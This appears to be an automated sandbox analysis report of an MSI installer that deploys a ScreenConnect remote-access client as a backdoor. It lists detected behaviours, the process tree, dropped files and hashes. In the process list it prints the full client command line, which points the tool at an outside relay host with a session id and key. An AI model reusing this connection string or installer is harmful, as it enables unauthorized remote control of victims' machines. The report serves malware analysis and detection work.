Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/04/2026, 06:39

General

  • Target
    connection.msi
  • Size 14.7MB
  • Sample260415-hexkdags9r
  • SHA256 b99d4ebddd30a5e94148d296f078889df0da4b55bfb34dfde844b34b081171e1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\connection.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4464
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E61D9344B834101F9A8C48558A1B410A C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3724
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI45FD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240666421 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3608
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1628
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F0596CDDAFEDBEE2935D9608CCF2FA24
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:956
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7913A3910582A241C8714874F84C9186 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:724
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4052
    • C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hqkpo51p.ipnodns.ru&p=8041&s=cbd53ad2-ac65-4676-8117-4024281b8c15&k=BgIAAACkAABSU0ExAAgAAAEAAQDxYmi8fH0A%2bTsoW2KxMU1mBWdDKQy3%2f8OXfwDpU3zM0vJRyMZVuDOiQdx3AmsWM0HqYaBFg3e%2b0Ni7Hw4VgaQfA7d%2bz4K%2bU4Jiv3DRVoFdqRcdTzgEeCjVZGgex62zaDMLiXz05We3EPSw9w5BMILLWt47dkwjwdIWr%2bufeWILP9V7TUYg0%2bvktCa0EDQSMBTAW2IQe2AQtyHxm0EngRrYdStGuFK8oYtsj9HXu8F55iC68KGsH9zUxrOD0f%2f3Oj1p66w6jvESYTq4uS1BjVRkN3xYbXTrU1E7MUOAE8gmMSupQXN9oB%2bf96bJLzysz9d9qilD6XoFh0PMTWghYv3E&c=&c=&c=WAW&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsClient.exe" "RunRole" "91e248c3-37d8-446c-9930-221ea57af450" "User"
        2⤵
        • Executes dropped EXE
        PID:4864
      • C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsClient.exe" "RunRole" "5832953b-1e19-4fce-98f7-916aa733a39d" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2788

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e588e52.rbs

          • Path C:\Config.Msi\e588e52.rbs
          • Size 214KB
          • SHA256 708593b5b95f86ff6ddbd0dd084ec4d0487b8c910fc3e82449c8c840f2503f47
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\Client.Override.en-US.resources
          • Size 314B
          • SHA256 dee19b3b95d302f585421e25f85a8b9cc6887d756732226adb3bdb47b5ef5028
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\Client.Override.resources
          • Size 56KB
          • SHA256 1134f4c3c1b655087929a3ff9ea920168000ec15838a9d41aaa8f4dbe4167548
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\app.config
          • Size 2KB
          • SHA256 b723029302da86543b736a62854f286eb3af82bac97ea021d17696d42a991ec6
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6c1f1bf7f68ef447)\system.config
          • Size 943B
          • SHA256 5d1b5481dd72b215e809dbd32aba44b30a66f82259a9002178a5d3474ef94628
          • MD5 SHA1 SHA512 TLSH

          MSI45FD.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI45FD.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI45FD.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI45FD.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI45FD.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI45FD.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI8FC9.tmp

          • Path C:\Windows\Installer\MSI8FC9.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e588e51.msi

          • Path C:\Windows\Installer\e588e51.msi
          • Size 14.7MB
          • SHA256 b99d4ebddd30a5e94148d296f078889df0da4b55bfb34dfde844b34b081171e1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 e6bf82da134e708687caa01bd026ca120df4e41c6e35095b81a66b9db4c69920
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {e3bab1c0-8c91-49c7-b98e-95a715e47505}_OnDiskSnapshotProp

          • Path \??\Volume{e2a40a55-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{e3bab1c0-8c91-49c7-b98e-95a715e47505}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 efc2a5fcd9531c198cf33c9198c1687929de5b1c7e90fb0344cdcfe99ebcf87a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/724-107-0x0000000000C80000-0x0000000000C99000-memory.dmp

          memory/956-106-0x00000000008D0000-0x00000000008E9000-memory.dmp

          memory/1564-80-0x0000000003A30000-0x0000000003A48000-memory.dmp

          memory/1564-140-0x0000000003A10000-0x0000000003A29000-memory.dmp

          memory/1564-108-0x0000000003DE0000-0x0000000003E30000-memory.dmp

          memory/1564-91-0x0000000003EB0000-0x000000000405C000-memory.dmp

          memory/1564-112-0x0000000003E30000-0x0000000003E66000-memory.dmp

          memory/1564-115-0x0000000003E70000-0x0000000003EB1000-memory.dmp

          memory/1564-117-0x00000000042E0000-0x00000000043B5000-memory.dmp

          memory/1564-86-0x0000000003C70000-0x0000000003CFE000-memory.dmp

          memory/1564-113-0x0000000004100000-0x0000000004192000-memory.dmp

          memory/2788-139-0x000000001BFB0000-0x000000001BFE0000-memory.dmp

          memory/2788-138-0x0000000001650000-0x000000000165C000-memory.dmp

          memory/3608-31-0x0000000005990000-0x0000000005F34000-memory.dmp

          memory/3608-37-0x0000000000A90000-0x0000000000AA9000-memory.dmp

          memory/3608-26-0x0000000004FF0000-0x000000000507E000-memory.dmp

          memory/3608-22-0x0000000002BD0000-0x0000000002BDA000-memory.dmp

          memory/3608-18-0x0000000002B90000-0x0000000002BBE000-memory.dmp

          memory/3608-30-0x0000000005230000-0x00000000053DC000-memory.dmp

          memory/3724-105-0x0000000000CA0000-0x0000000000CB9000-memory.dmp

          memory/3724-38-0x0000000000CA0000-0x0000000000CB9000-memory.dmp

          memory/4864-128-0x0000000000F30000-0x0000000000FC8000-memory.dmp

          memory/4864-132-0x000000001C2D0000-0x000000001C456000-memory.dmp

          memory/4864-133-0x0000000003050000-0x0000000003068000-memory.dmp

          memory/4864-134-0x00000000030D0000-0x00000000030E8000-memory.dmp

          memory/4864-135-0x0000000003130000-0x0000000003171000-memory.dmp

          memory/4864-131-0x000000001C120000-0x000000001C2CC000-memory.dmp

          memory/4864-130-0x000000001BEE0000-0x000000001BF6E000-memory.dmp

          memory/4864-129-0x0000000003090000-0x00000000030C6000-memory.dmp

          memory/4864-141-0x0000000001740000-0x000000000174C000-memory.dmp